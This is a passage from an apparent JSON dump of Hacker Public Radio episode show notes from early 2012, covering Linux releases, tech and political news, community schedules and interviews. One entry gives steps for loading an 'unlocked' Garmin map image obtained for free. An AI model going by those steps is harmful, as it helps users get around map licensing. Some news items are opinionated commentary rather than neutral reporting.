    \nGreg KH announced the release of the 3.2.1 Kernel Thu, 12 Jan 2012 20:25:05 UTC
    \nThere were 63 files changed, 465 files inserted, and 200 files deleted
    \n

    \n

    \nKernel Quote
    \n

    \n

    \n\"Here’s the different active kernel versions that I am maintaining at the moment:
    \n3.2.y – this will be maintained until 3.3 comes out
    \n3.1.y – there will be only one, maybe two, more releases of this tree
    \n3.0.y – this is the new \"longterm\" kernel release, it will be
    \nmaintained for 2 years at the minimum by me.
    \n2.6.32.y – this is the previous \"longterm\" kernel release. It is
    \napproaching it’s end-of-life, and I think I only have
    \nanother month or so doing releases of this. After I am
    \nfinished with it, it might be picked up by someone else, but
    \nI’m not going to promise anything.
    \nAll other longterm kernels are being maintained in various forms
    \n(usually quite sporadically, if at all), by other people, and I can not
    \nspeak for their lifetime at all, that is up to those individuals.\"
    \n– Greg Kroah-Hartman
    \nThere was also a bit of a dust up between Tim Gardner of Canonical and Greg Kroah-Hartman over maintenance of the 2.6.32 kernel once greg gives it up. It appears to have been started by a misunderstanding and a conclusion jump by Tim.
    \n

    \n

    \nDistro News: Tony
    \n

    \n

    \nDistrowatch.com
    \n

    \n

    \n1-13 – PC-BSD 9.0 – desktop-oriented distribution based on the latest stable FreeBSD
    \n1-12 – FreeBSD 9.0 – a major new version of the BSD operating featuring a brand-new system installer
    \n1-12 – Webconverger 11.0 – a web browser-only specialist distribution for Internet kiosks
    \n1-11 – Astaro Security Gateway 8.3 – specialist distribution for firewall and gateways
    \n1-10 - Asturix 4 – Ubuntu-based desktop distribution with a custom desktop environment and many usability improvements
    \n1-10 – Fuduntu 2012.1 – a new quarterly update of the distribution that was forked from Fedora last year
    \n1-8 – Porteus 1.1 – Slackware-based live CD with a choice of Trinity (a KDE 3 fork), KDE 4 and LXDE desktops
    \nMat did you know about the KDE 3 fork, Trinity?
    \n

    \n

    \nDistro of the Week: Tony
    \n

    \n

    \nFuduntu – 1433
    \nopenSUSE – 1440
    \nFedora – 1495
    \nUbuntu – 1873
    \nMint – 4248
    \nTech News:
    \n

    \n

    \nMicrosoft Now Collects Extortion On Approximatley 70% Of All US Sales Of Androids
    \n

    \n

    \nLG is the latest victim to pay Microsoft’s extortion demands. They are the eleventh victim in this extortion scheme. A list of the other victims includes Samsung, HTC, and Acer. This leaves Motorola Mobility as the only major manufacturer to not sign an extortion agreement with Microsoft. I would wager that Microsoft has not even approached Motorola as Google now owns Motorola and those pockets are deep enough to scare off the Microsoft patent trolls. Microsoft now claims that they are collecting \"royalties\" on over 70% of all Android smart phones sold in the US. The terms of this latest agreement are unknown as Microsoft makes part of the agreement that the parties can not make public the patents covered by Microsoft’s claims. In other words a typical extortion agreement.
    \n

    \n

    \nThe MPAA Instigates A Dustup with Ars Technica
    \nOn 1/10 the MPAA (Motion Picture Associtation of America) said on it’s blog, \"… Ars Technica, a tech blog with a long history of challenging efforts to curb content theft,\". This entire claim by the MPAA appears to be Ars Technica opposing things in the past like the broadcast flag which would have allowed remote control of peoples home entertainment recording devices, along with their stand against DRM that prevents owners from ripping legal backup copies of their DVDs. Ars also has publicly opposed the horrendous SOPA legislation currently in front of Congress. It is obvious that the MPAA’s position is the wacky correlation of fighting for consumers’ rights is the equivalent of having no enforcement at all.
    \n

    \n

    \nNot that any representative of the MPAA would ever engage in outlandish statements to further their cause. Like this quote from Jack Valenti when he appeared before congress in 1982, \"I say to you that the VCR is to the American film producer and the American public as the Boston strangler is to the woman home alone.\"
    \n

    \n

    \nUnited States Migrates Spy Drone Control Panels From Windows To Linux
    \nLast September the ground control systems for the Reaper drones, which reside at the Creech Air Force Base in Nevada, became infected with a virus. When it happed the Air Force dismissed this intrusion as a nuisance that posed no real threat, it was however taken very seriously.
    \n

    \n

    \nStill the discovery of this virus on the Air Force’s systems was a huge embarrassment. This is what they had to say at the time:
    \n

    \n

    \n\"The malware in question is a credential stealer, not a key logger, found routinely on computer networks and is considered more of a nuisance than an operational threat. It is not designed to transmit data or video, nor is it designed to corrupt data, files or programs on the infected computer. Our tools and processes detect this type of malware as soon as it appears on the system, preventing further reach.\", they also went on to say, \"The ground system is separate from the flight control system Air Force pilots use to fly the aircraft remotely; the ability of the pilots to safely fly these aircraft remained secure throughout the incident,\"
    \nScreen shots of drone control computers posted by security researcher Mikko Hypponen show that some of the systems have been migrated from Microsoft Windows to Linux. In a statement Mikko Hypponen said,
    \n

    \n

    \n\"If I would need to select between Windows XP and a Linux based system while building a military system, I wouldn’t doubt a second which one I would take.\"
    \nOpen Source Surgery, a Robot called Raven takes Flight
    \n

    \n

    \nThe Raven 2 is a surgical robot with 7 degrees of freedom, compact electronics and two wing-like arms which end in tiny gripper claws designed to perform surgery on simulated patients. The robot’s software is compatible with Robot Operating System, an open source robotics coding platform.
    \nJanuary 20, 2012 is Penguin Awareness Day
    \nep0898 :: Hacker Public Radio New Year’s Eve Part 8/8 (The After Show)
    \nfiftyonefifty mentions us as one of the new podcasts that he likes!! Thanks!
    \n

    \n

    \nRaspberry Pi Linux micro machine enters mass production
    \nThe Commodore 64 is 30
    \nOuttro Music:
    \n

    \n

    \nAcross my way by Matthew Morris
    \n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2250,"valid":1}, {"id":915,"date":"2012-02-02","title":"TGTM Newscast for 2012/01/17","duration":1399,"summary":"A newscast from Talk Geek to Me","notes":"

    Shownotes are available at Show Notes for TGTM news 58

    \n

    TGTM Newscast for 2012/01/17 by DeepGeek

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"icelandreview.com, \" \"dissentingdemocrat.wordpress.com,\" \"maggiemcneill.wordpress.com,\" \"spankthespooki.blogspot.com,\" and \"techdirt.com\" used\nunder arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

    \n

    Audio Interlude, MOC #106, used under permission of Lee Camp.
    \n

    \n

    News Sources retain their respective copyrights.

    \n

    Links

    \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2184,"valid":1}, {"id":916,"date":"2012-02-05","title":"HPR Community News for Dec 2011/Jan 2012","duration":4884,"summary":"HPR Community News for Dec 2011/Jan 2012","notes":"

    New hosts

    \n

    \nWelcome to our new hosts: \nFrank Bell, \nNYbill and Windigo, \ngarjola, \nAhuka, \nAkranis, \nmordancy, \nMrX, \nBrocktonBob, \nand\ndmfrey.\n

    \n

    Show Review

    \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
    id\ntitle\nhost\n
    871HPR Community News for Nov 2011HPR Admins
    872Packaging YUMklaatu
    873Philip and Rebecca Newborough of CrunchBangKen Fallon
    874Interview: Lucy Chambers, Open Knowledge FoundationRobin Catling
    875Replacing Older HardwareJWP
    876Packaging applications: BSD portsklaatu
    877Welcome Frank BellFrank Bell
    878OpenShorts Episode 4MrGadgets
    879SMLR 009HPR Admins
    880Handbook for the Criminally InsaneHPR_AudioBookClub
    881Intel Atom processorJWP
    882RPM formatklaatu
    883Dan Lynch interviewKen Fallon
    884Cross Platform StreamingKnightwise
    885Redo Backup and Recovery 1.0.1.Johninsc
    886Product lifecycle management (PLM)Ken Fallon
    887init()NYbill and Windigo
    888EMACS Help SourcesJWP
    889New Year's Eve Show AnnouncementHPR Admins
    890Where's my flying car !MrGadgets
    891Hacker Public Radio New Year's Eve Part 1/8HPR Admins
    892Hacker Public Radio New Year's Eve Part 2/8 (A Bit About Fedora)HPR Admins
    893Hacker Public Radio New Year's Eve Part 3/8 (Everybody loves Crunchbang... except Klaatu)HPR Admins
    894Hacker Public Radio New Year's Eve Part 4/8 (Mrs Cornominal brings the naughty)HPR Admins
    895Hacker Public Radio New Year's Eve Part 5/8 (Funding Free Culture)HPR Admins
    896Hacker Public Radio New Year's Eve Part 6/8 (The Unix Fight and Thank You Kevin)HPR Admins
    897Hacker Public Radio New Year's Eve Part 7/8 (The Grand Finale)HPR Admins
    898Hacker Public Radio New Year's Eve Part 8/8 (The After Show)HPR Admins
    899Sunday Morning Linux Review - New Year ShowHPR Admins
    900Episode 000 - Introductiongarjola
    901Ahuka: Intro and How I Got Into LinuxAhuka
    902TGTM Tech News for 2012-01-09deepgeek
    903SOPA ProtestHPR Admins
    904Frostcast Northeast GNU/linux fest.HPR Admins
    905Akranis: How I got into Linux Akranis
    906FOSDEM 2012Ken Fallon
    907Learningmordancy
    908TV Downloader TEDriddlebox
    909KC0058 : Streampunking with InstapaperHPR Admins
    910Introduction to Pagekite.Kevin Granade
    911HobbiesMrX
    912How I cut The Cable Cord Part1BrocktonBob
    913Exchanging Data Podcast 1dmfrey
    914Sunday Morning Linux Review: Episode 014HPR Admins
    915TGTM Newscast for 2012/01/17deepgeek
    \n

    New Regular Slots

    \n
      \n
    • 1st Monday every month: HPR Admins with \"Community News\"
    • \n
    • Every Thursday: HPR Presents: Syndicated Shows/Talks/Other works of note.
    • \n
    • 1st Thursday every month: Sunday Morning Linux Review.
    • \n
    • Most Fridays: Talk Geek To Me.
    • \n
    • Every second Tuesday: linux in the shell
    • \n
    \n

    Thanks To

    \n

    \nToo many to thank.\n

    \n

    Sorry To

    \n

    \nToo many to apologise to.\n

    \n\n

    Other items

    \n

    \nHPR vetting policy relating to adult, political, etc....
    \nShould we release at weekends
    \n

    \n\n

    Episode 1000 and 1024

    \n

    \nWe should come up with an idea to celebrate Ep1000 ?
    \nAnswer = YES\n

    \n

    \nFor episode 1000 we will be gathering a sample of community members emailing their congratulations but for episode 1024 :) \n

    \n

    \nFiftyOneFifty will be coordinating a EPIC \"live\" show so please email your contributions to ep1k@hackerpublicradio.org\n

    \n\n

    Events

    \nWow t\n

    \nWe need an event manager
    \nPlease add your event to https://fossevents.org/
    \n\n\n\n \n \n \n \n \n\n\n\n \n \n \n \n\n\n \n \n \n \n\n\n \n \n \n \n\n\n \n \n \n \n\n\n \n \n \n \n\n\n\n\n\n \n \n \n \n\n \n\n
    WhenWhatWhereWho
    2012-01-20..22Southern California Linux Expo (SCALE)
    2012-02-04..05Free and Open source Software Developers' European Meeting (FOSDEM) https://fosdem.org/2012/
    2012-03-17The Northeast GNU/Linux festhttps://www.northeastlinuxfest.org/Pokey/Klaatu
    2012-04-28..29LinuxFest Northwesthttps://linuxfestnorthwest.org/David Whitman (davidglennwhitman@gmail.com)
    2012-09-28..30Ohio LinuxFest 2012https://ohiolinux.org/node/186 (Call for talks)
    \n\n

    \n\n

    \n\n
    \nSailor 1: That new wife of your's isn't there Derik
    \nSailor 2: We're back at the same time that the Milk man is doing his rounds
    \nAnna: Derik !!!
    \nDerik: Anna !!!
    \nThose Fisherman's Friends are strong, hey !\n

    \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2184,"valid":1}, {"id":917,"date":"2012-02-06","title":"Uber Leet Hacker Force Radio 6","duration":1007,"summary":"Uber Leet Hacker Force Radio issue 6","notes":"In a welcome return to HPR, SigFLUP talks to us about two of her projects:\n

    concr

    \n

    \nconcr is an encryption framework for use to partially encrypt configuration files, or any file for that matter. concr is for use in UNIX systems and consist of two parts, libconcr and confcrypt. libconcr is an API for reading partially encrypted files and generating keys. confcrypt is a user-application for encrypting files using keyfile database or manually specified keys.\n

    \n

    \nconcr leverages the own-by-root aspect of programs in UNIX systems and stores its decryption key inside of the application. Applications that use libconcr must be installed with execute-only permissions.\n

    \n

    \n\nWhen an application is linked with and makes use of concr it, when run for the first time, will generate a copy of itself containing a private rsa-key and output a public rsa-key. confcrypt is a user program that encrypts messages to be decrypted by second runs of the application. concr provides an api similar to that of libc for reading in files thus making it transparent to the application developer what is and is not encrypted in those files.\n

    \n

    \nhttps://devio.us/~sigflup/concr\n

    \n

    yesplz

    \n

    \nyesplz is a screeenshot uploader command line utility written by sigFLUP that will take a screenshot, tag\nyour photo, log into unixporn.com, post the picture to your photo album, and return an ascii bunny on success.\n

    \n

    \nIn order for it to work, you must have an account at unixporn.com but that is free and you can enter nothing but fake information into it.\n

    \n

    \nThen simply run yesplz --help to see the possible tags and instructions for yesplz.\n

    \n

    \nyesplz: https://devio.us/~sigflup/yesplz_dec_19_2011.tgz\n

    \n","hostid":115,"series":87,"explicit":1,"license":"CC-BY-SA","tags":"concr,yesplz","version":0,"downloads":2334,"valid":1}, {"id":918,"date":"2012-02-07","title":"How I Started with Linux Part 2","duration":932,"summary":"Frank Bell continues the story of his journey to Linux","notes":"In his long waited second part Frank continues his Linux story, describing how he used Linux to self-host his website from his guest room and some of the things he learned along the way. Some links mentioned in the show:\n
    \nSlackware (https://www.slackware.com)
    \nDebian (https://www.debian.org)
    \nSamba by Example (https://www.samba.org/samba/docs/man/Samba-Guide/)
    \nThe Slackware Wiki (https://wiki.linuxquestions.org/wiki/Slackware-FAQ)
    \nLinux Questions Linux Forums (https://www.linuxquestions.org/)
    \nno-ip dot com dynamic DNS service (https://www.no-ip.com/)
    ","hostid":195,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux,slackware,debian,samba,dns","version":0,"downloads":2347,"valid":1}, {"id":919,"date":"2012-02-08","title":"Elfstedentocht - To be or not to be","duration":901,"summary":"A 200 kilometre skating tour in the province of Friesland in the north of the Netherlands","notes":"

    \nIn today's show Ken interviews Klaas-Jan Koopman about the Elfstedentocht a particularly Dutch phenomenon. He gives us some background to the tour and tells the story of his Father who has a permit to participate should it go ahead.
    \n\"Elfstedentocht\n

    \n
    \n

    \nThis interview was recorded yesterday and since then the organisation committee have said that the tour will not be going ahead this weekend as the ice is not thick enough. We can all wait and see together if it happens or not.
    \nhttps://www.dutchnews.nl/news/archives/2012/02/poor_ice_growth_on_tuesday_nig.php\n

    \n
    \nhttps://en.wikipedia.org/wiki/Elfstedentocht\n

    Elfstedentocht

    \n

    \nFrom Wikipedia, the free encyclopedia\n

    \n

    \nThe Elfstedentocht (or, in West Frisian, Alvestêdetocht, sometimes in English : Eleven Cities Tour), at almost 200 km, is the world's largest speed skating competition and leisure skating tour, and is held in the province of Friesland, Netherlands only when the ice along the entire course is 15 cm thick.\n

    \n

    \nThe tour, almost 200 km in length, is conducted on frozen canals, rivers and lakes between the eleven historic Frisian cities: Leeuwarden, Sneek, IJlst, Sloten, Stavoren, Hindeloopen, Workum, Bolsward, Harlingen, Franeker, Dokkum then returning to Leeuwarden. The tour is not held every year, mostly because not every Dutch winter permits skating on natural ice. The last editions were in 1985, 1986 and 1997. Adding to that, the tour currently features about 15,000 amateur skaters taking part, putting high requirements on the quality of the ice. There is a stated regulatory requirement for the race to take place that the ice must be (and remain at) a minimum thickness of 15 centimetres along the entirety of the course. All skaters must be a member of the Association of the Eleven Frisian Cities. A starting permit is required. Further more, in each city the skater must collect a stamp, as well as a stamp from the three secret check points. The skater must finish before midnight.\n

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Interview,Netherlands,Friesland,skating","version":0,"downloads":2031,"valid":1}, {"id":920,"date":"2012-02-09","title":"TGTM Newscast for 2012/02/08","duration":1969,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Newscast for 2012/02/08 DeepGeek

    \n

    We have had alot happen in the world since the last newscast, so\nlet's jump right in! We're also rich in audio interludes, so I will be\ninserting them almost between the non-tech news stories.\n

    \n

    Here is a news review:

    \n
      \n
    • Calls for Julian Assange to be tried as terrorist under NDAA-like law in 2010
    • \n
    • This story is important because there was a movement to have multiple political parties in Cuba. Cuba Keeps One Party, Sets Term Limits
    • \n
    • \n

      Let's start a segment of three stories regarding United States of America politics. First, a story about the struggle against the \"Electoral College\" system of voting, which is a key method this country uses to suppress anything besides to two dominant fascist (in the technical sense of being a marriage between corporations and government) parties. We will see how the state of Washington is fighting that system. After this, a story about the fight for decent medical care for the country within the state of California. Lastly, an editorial written by one of the co-chairs of the Socialist Party USA about Ron Paul.\n

      \n

      It should be noted that I am not yet \"endorsing\" the Socialist Party USA, merely covering their point of view which the corporate media ignores in order to keep them out of the minds of the people of the USA. That's the point of TGTM news, to report the stories they suppress. The Green Party USA is very interesting also.

      \n

      Jill Stein is fighting for candidacy for President with them, and she recently issued her own \"Peoples State of the Union (which I will link to in the \"other headlines\" section)\" right after Obama's State of the Union. While Obama's State Of The Union was very Ronald Regan, you know, with it's tough-guy statements about forcing other countries to respect us via Military Force and it's \"trickle down economics\" statements about boosting the economy by giving even more handouts to mega-corporations; Jill Stein's message was about \"the Green New Deal,\" about stimulating the economy with direct-to-locality stimulus. As matter of fact, she held a video chat direct to the people who got to ask her questions via chat room. Remembering that a union I regularly cover, the IWW, encourages it's members to work via worker co-operatives, I asked if co-ops would be locked out of the \"Green New Deal.\" Ms. Stein answered my question by stating that co-operatives were valid recipients of contracts, and that the point was that, historically, big corporations pocket too much for their owners, so she only wanted to lock out the Interstate and large corporations to aid small business units.

      \n

      Jill Stein is currently running against Roseanne Barr for the candidacy for presidency in the Green Party USA.

      \n\nCourt Approves Washington State System of Limiting November Ballot Access to Two Candidates\n
    • \n
    • California's single-payer health bill moves forward
    • \n
    • The Misadventure of Ron Paul
    • \n
    • ACLU & EFF to Appeal Secrecy Ruling in Twitter/WikiLeaks CaseEditorial Comment: After the ruling the Icelandic Member-of-Parliment, Ms. Birgitta Jonsdottir, \"broke silence\" on the matter of this case. So I included, in the \"other headlines\" section, links to her blog entry about it, as well as a link to a Radio Netherlands International english podcast that includes an interview with her.
    • \n
    • The Right to Anonymity is a Matter of Privacy
    • \n
    • MegaUpload: What Made It a Rogue Site Worthy of Destruction?
    • \n
    • Mega Aftermath: Upheaval In Pirate Warez Land
    • \n
    • New Venezuelan Social Network Takes Off
    • \n
    \n

    Other Headlines:

    \n\n

    News from \"havanatimes.org, \" \"allgov.com,\" and \"dissidentvoice.org\" \"used under arranged permission. News from \"eff.org\" and \"torrentfreak.com\" used\nunder permission of the Creative Commons by-attribution license. News from \"wlcentral.org\" and \"peoplesworld.org\" used under permission of the Creative\nCommons by-attribution non-commercial no-derivatives license. News from \"venezuelanalysis.com\" is copyleft.
    \n

    \n

    Audio Interlude, MOC #112, used under permission of Lee Camp.
    \n

    \n

    News Sources retain their respective copyrights.

    \n

    Links

    \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2192,"valid":1}, {"id":921,"date":"2012-02-10","title":"Tag Team Chase Douglas Interview with Alison Chaiken","duration":2739,"summary":"Markoz and Alison Chaiken interview Chase Douglas of Canonical","notes":"Chase Douglas is a software developer at Canonical working primarily on multitouch user interface support. For the past year, Chase has been involved with developing gesture support through Canonical’s uTouch framework and multitouch support through the X.org window system. Prior to working on multitouch, Chase spent three years performing Linux kernel and plumbing layer development and maintenance at Canonical and IBM.
    \n
    \nAlison's questions:\n3:49 - Alison asks \"Chase, back up for a moment, can you talk a little bit about what X input is and how X in general works in Linux.\"
    \n
    \n6:13 - Alison asks \"Do you have any particular target hardware that you are thinking about during its development?\"
    \n
    \n11:57 - Alison asks \"Do we expect the mouse and keyboard to be with us in the long term? Are you really thinking of all these touches used in concert with the mouse and keyboard or that we may be evolving away from that?\"
    \n
    \n17:45 - Alison basically asks \"Is there talk about an agreed upon gesture language?\"
    \n
    \n20:56 - Alison asks \"What is the state of device driver support for capacitive screens that will support multitouch in Linux?\"
    \n
    \n26:34 - Alison asks \"Speaking of software coupling, are you looking at Wayland already or is that still over the horizon?\"
    \n
    \n28:43 - Alison says \"The automotive case seems like a fascinating one. As far as touch and gesture goes and Ubuntu has an IDI and recently Cadillac has a multitouch screen that has haptic feedback and some gesture support. This looks like a very exciting area for development. Actual shipping products in 2012. I don't know if you're familiar with that at all.\"
    \n
    \n32:11 - Alison asks \"Do you anticipate contributing the multitouch work to GNOME and Debian as well?
    \n
    \n35:0 - Alison asks \"What new features can we anticipate that will be user visible for precision in the area of multitouch and gestures?\"
    \n
    \n43:56 - Alison says \"I think I'm happy although I must mention I was pained to hear that it was 24 years ago that you were an infant because I was at M.I.T when they started the X project. heh heh. you young whippersnappers.
    \n...
    \nthat was very fascinating. I had no idea there was that much activity going on. I'm really excited to see what's coming out and what new features are being added.\"
    \n

    \nlaunchpad.net/utouch
    \nmulti-touch-dev@lists.launchpad.net
    \n\n#ubuntu-touch irc.freenode.net
    \n","hostid":156,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"multitouch,uTouch,Canonical,Wayland","version":0,"downloads":2224,"valid":1}, {"id":922,"date":"2012-02-13","title":"Updating a Garmin GPS for free","duration":389,"summary":"Installing a 2012 North American map on a Garmin","notes":"

    Notice **I am not condoning this method I am just reporting that I have read on numerous sites the steps and procedures on how to do this.****

    Sources:\n
      \n
    1. Connect your device to the computer.
    2. \n
    3. Go into the Nuvi files and backup the file named gmapprom.img to your computer.
    4. \n
    5. Delete the gmapprom.img file from the device. (note: make sure you empty the recycle bin after this step)
    6. \n
    7. Delete any unused Language files too..
    8. \n
    9. Copy the unlocked gmapprom.img file that you downloaded into the device. If the downloaded file is named something else, rename it to gmapprom.img and then put it on your devices internal memory.
    10. \n
    11. Restart your device and check your map info via : Tools>Settings>Map>Map Info.
      \n
      There you have it! You have done it.
    12. \n
    ","hostid":94,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"garmin,gps,download","version":0,"downloads":2993,"valid":1}, {"id":923,"date":"2012-02-14","title":"12 Gazillion Buttons","duration":2134,"summary":"Jezra and NYbill discuss various topics","notes":"

    \nJezra and NYbill discuss their predictions for 2012 and the things they are looking forward to in the new\nyear. The discussion moves on to LUG's. Jezra takes Bill on a trip down memory lane. Then Bill strikes a nerve with Jez who rants about 3D movies (Language warning). They finish up talking about their\ncurrent hardware and software projects.

    \n\n

    Links

    \n\n","hostid":205,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Ubuntu,Unity,NELF,SCALE,Raspberry Pi,Teensy,microcontroller","version":0,"downloads":2235,"valid":1}, {"id":924,"date":"2012-02-15","title":"LiTS 000: redirection","duration":1004,"summary":"Redirection: what it is and how to use it","notes":"Welcome to the first entry of Linux in the Shell. Before delving into specific commands, redirection will be explored as redirection will be used frequently in the examples going forward. The Unix philosophy posits program simplicity and that a program should do one thing and do it well (Mike Gancarz, the Unix Philosophy). Eric Raymond adds the Rule of Composition: \"Design programs to be connected to other programs.\" Redirection is the glue that achieves this design.
    \n
    \nRedirection is applied to any of the following standard streams to achieve results beyond simply outputting some value from a single command:
    \n
    \nStandard Input (stdin) – 0
    \nStandard Output (stdout) – 1
    \nStandard Error (stderr) – 2
    \n
    \nFor the rest of this article and accompanying video please go to https://www.linuxintheshell.com/2012/02/16/entry-000-redirection/
    \nThe video can be downloaded https://www.archive.org/download/LinuxInTheShellEpisode000-Redirection/lits-000.ogv\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"redirection","version":0,"downloads":2942,"valid":1}, {"id":925,"date":"2012-02-16","title":"TGTM Tech News for 2012-02-15","duration":1406,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Tech News for 2012-02-15

    \n

    \nShownotes are taken from Show Notes for TGTM news 60\n

    \n\n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"havanatimes.org, \" \"maggiemcneill.wordpress.com, \"techdirt.com,\" and \"ufcw.blogspot.com\" used under arranged permission. News from \"eff.org\" and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

    \n

    News Sources retain their respective copyrights.

    \n\n

    Links

    \nhttps://www.talkgeektome.us/tgtmnews-60.html
    \nhttps://maggiemcneill.wordpress.com/2012/02/09/one-year-later/
    \nhttps://www.democracynow.org/2012/2/9/headlines#0
    \nhttps://ufcw.blogspot.com/2012/02/mitt-romney-relish-rich-ignore-poor.html
    \nhttps://www.techdirt.com/articles/20120201/00433217612/beware-those-who-claim-theyre-saving-culture-business-when-theyre-really-protecting-those-who-strip-artists-rights.shtml
    \nhttps://www.havanatimes.org/?p=61712
    \nhttps://www.eff.org/deeplinks/2012/02/india%E2%80%99s-downward-spiral
    \nhttps://www.eff.org/deeplinks/2012/02/letters-copyright-office-why-i-jailbreak
    \nhttps://torrentfreak.com/btjunkie-shuts-down-for-good-120206/
    \nhttps://www.techdirt.com/articles/20120208/00260717693/congress-actually-helping-internet-rather-than-mucking-it-up.shtml
    \nhttps://torrentfreak.com/download-a-copy-of-the-pirate-bay-its-only-90-mb-120209/
    \nhttps://sacsis.org.za/site/article/1191
    \nhttps://www.truth-out.org/how-swedes-and-norwegians-broke-power-one-percent/1327942221
    \nhttps://www.rawstory.com/rs/2012/02/09/wikileaks-suspect-bradley-manning-arraignment-for-february-23/
    \nhttps://www.krmg.com/news/news/local/army-private-manning-nominated-nobel-peace-prize-r/nHYNR/
    \nhttps://sacsis.org.za/site/article/1201
    \n","hostid":237,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2349,"valid":1}, {"id":926,"date":"2012-02-20","title":"Heresies in the year of the apocalypse ep 1 - computer languages","duration":1917,"summary":"Thoughts about the evolution of high-level languages from machine language","notes":"

    Mr Gadgets calls in Apocalyptic year 2012 where he discusses Assembler, COBOL and Grace Hopper

    \n

    From: https://en.wikipedia.org/wiki/Grace_Hopper

    \n

    Rear Admiral Grace Murray Hopper (December 9, 1906 – January 1, 1992) was an American computer scientist and United States Navy officer. A pioneer in the field, she was one of the first programmers of the Harvard Mark I computer, and developed the first compiler for a computer programming language. She conceptualized the idea of machine-independent programming languages, which led to the development of COBOL, one of the first modern programming languages. She is credited with popularizing the term \"debugging\" for fixing computer glitches (motivated by an actual moth removed from the computer). Because of the breadth of her accomplishments and her naval rank, she is sometimes referred to as \"Amazing Grace.\" The U.S. Navy destroyer USS Hopper (DDG-70) was named for her, as was the Cray XE6 \"Hopper\" supercomputer at NERSC.

    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"machine code,assembly language,Grace Hopper,COBOL,debugging,C,Python,Perl,Vala","version":0,"downloads":2484,"valid":1}, {"id":927,"date":"2012-02-21","title":"Setting up a WordPress blog: part 1","duration":1420,"summary":"Episode 1 of the series Setting up a Wordpress blog","notes":"

    \nFrank Bell summarizes the steps involved in setting up a WordPress blog. This episode covers creating a database and database user, installing the WordPress software, and configuring basic WordPress settings.\n

    \n\n

    Related links:

    \n\nWordPress Software, including the codex, themes, and plugins. (https://wordpress.org/)
    \nWordpress blog hosting site (https://wordpress.com/)
    \nXampp LAMPP server stack. (https://www.apachefriends.org/en/xampp.html)
    \nMySQL (https://mysql.com/)
    \n\nSome other blog hosting sites:
    \nBlogger (https://blogger.com)
    \nBlogspot (https://blogspot.com)
    \nTypepad (https://www.typepad.com/)
    \nTumblr (https://www.tumblr.com/)
    \n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"WordPress,blog,MySQL","version":0,"downloads":2227,"valid":1}, {"id":928,"date":"2012-02-22","title":"My Linux Adventure, Pt. 1","duration":1863,"summary":"The first part of Bob Wooden's Linux journey","notes":"

    \nRelease year - 2012\nContact Info: bob.wooden@comcast.net\n

    \n

    \nLinks mentioned: \n

    \n

    \nRedhat
    \nhttps://www.redhat.com
    \nhttps://fedoraproject.org\n

    \n

    \nSuSE
    \nhttps://www.suse.com
    \nhttps://www.opensuse.org\n

    \n

    \nMicro Center - (my opinion - great retail environment for computer parts)
    \nhttps://www.microcenter.com/
    \nhttps://en.wikipedia.org/wiki/Micro_Center\n

    \n

    \nThe proprietary software device that does not allow printing or saving\ninformation without \"key\" was called \"Design Key\" or \"Software Dongle\" by\nmyself. This is the brand \"we used\" (were provided) by design software (CAD\ntype) kitchen and bathroom design program. (This is the \"dongle\" device. I do\nnot care if I mention the proprietary software name. It's not very good and\nit's . . . well, proprietary.)
    \nhttps://www.petrotechnics.com/sentinel.html\n

    \n

    \nLinux Terminal Server Project (LTSP)
    \nhttps://www.ltsp.org/
    \nhttps://en.wikipedia.org/wiki/Linux_Terminal_Server_Project\n

    \n

    \nNetwork File System (NFS)
    \nhttps://en.wikipedia.org/wiki/Network_File_System\n

    \n

    \nDynamic Host Configuration Protocol (DHCP)
    \nhttps://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol\n

    \n","hostid":206,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux,redhat,fedora,suse,open suse,ltsp,nfs,dhcp","version":0,"downloads":2274,"valid":1}, {"id":929,"date":"2012-02-23","title":"The Knightcast KC0060 : \"Storytime\"","duration":1514,"summary":"Another visit to the Knightcast podcast","notes":"

    \nToday it's The Knightcast KC0060 : \"Storytime\"
    \n\nhttps://knightwise.com/the-knightcast-kc0060-qstorytimeq/\n

    \n
    \n

